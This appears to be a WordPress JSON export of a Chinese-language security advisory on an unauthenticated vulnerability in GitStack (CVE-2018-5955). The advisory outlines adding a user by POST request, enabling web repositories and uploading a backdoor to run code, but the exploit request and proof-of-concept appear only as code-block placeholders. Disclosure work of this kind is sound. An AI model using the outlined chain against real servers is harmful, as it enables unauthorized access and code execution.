Windows\uff0c\u5e76\u4e0e\u4efb\u4f55\u5176\u4ed6Git\u5ba2\u6237\u7aef\u517c\u5bb9\u3002GitStack\u5bf9\u4e8e\u5c0f\u56e2\u961f\u6765\u8bf4\u662f\u5b8c\u5168\u514d\u8d39\u7684\u3002 \u6f0f\u6d1e\u63d0\u4ea4\u8005 \u4e00\u4f4d\u72ec\u7acb\u7684\u5b89\u5168\u7814\u7a76\u4eba\u5458 Kacper Szurek\u5411 Beyond Security \u7684 SSD \u62a5\u544a\u4e86\u8be5\u6f0f\u6d1e \u5382\u5546\u54cd\u5e94 \u81ea2017\u5e7410\u670817\u65e5\u8d77\uff0c\u6211\u4eec\u591a\u6b21\u5c1d\u8bd5\u8054\u7cfbGitStack\uff0c\u5df2\u7ecf\u6536\u5230\u56de\u5e94\uff0c\u4f46\u672a\u63d0\u4f9b\u6709\u5173\u89e3\u51b3\u65b9\u6848\u6216\u89e3\u51b3\u65b9\u6cd5\u7684\u8be6\u7ec6\u4fe1\u606f\u3002 CVE\uff1aCVE-2018-5955 \u6f0f\u6d1e\u8be6\u7ec6\u4fe1\u606f \u7528\u6237\u53ef\u63a7\u7684\u8f93\u5165\u6ca1\u6709\u7ecf\u8fc7\u5145\u5206\u7684\u8fc7\u6ee4\uff0c\u672a\u7ecf\u8eab\u4efd\u9a8c\u8bc1\u7684\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u53d1\u9001\u4ee5\u4e0bPOST\u8bf7\u6c42\u5728GitStack\u670d\u52a1\u5668\u4e2d\u6dfb\u52a0\u65b0\u7528\u6237\uff1a [crayon-5a7a29f09ace6671375808\/] \u4e00\u65e6\u653b\u51fb\u8005\u5c06\u7528\u6237\u6dfb\u52a0\u5230\u670d\u52a1\u5668\uff0c\u4ed6\u5c31\u53ef\u4ee5\u542f\u7528web repository\u529f\u80fd\u3002 \u73b0\u5728\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u4ece\u8fdc\u7a0b\u521b\u5efa\u4e00\u4e2arepository\uff0c\u5e76\u7981\u6b62\u5176\u4ed6\u4eba\u8bbf\u95ee\u6211\u4eec\u65b0\u7684repository\u3002 \u5728repository\u4e2d\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u4e0a\u4f20\u540e\u95e8\u5e76\u4f7f\u7528\u5b83\u6765\u6267\u884c\u4ee3\u7801\uff1a \u6f0f\u6d1e\u8bc1\u660e [crayon-5a7a29f09acf2853583590\/]<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[15774,10757,12136,17050],"class_list":["post-11396","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-chinese-translation","tag-securiteam-secure-disclosure","tag-unauthenticated-action","tag-unauthorized-access"],"_links":{"self":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/11396","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=11396"}],"version-history":[{"count":0,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/11396\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=11396"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=11396"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=11396"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}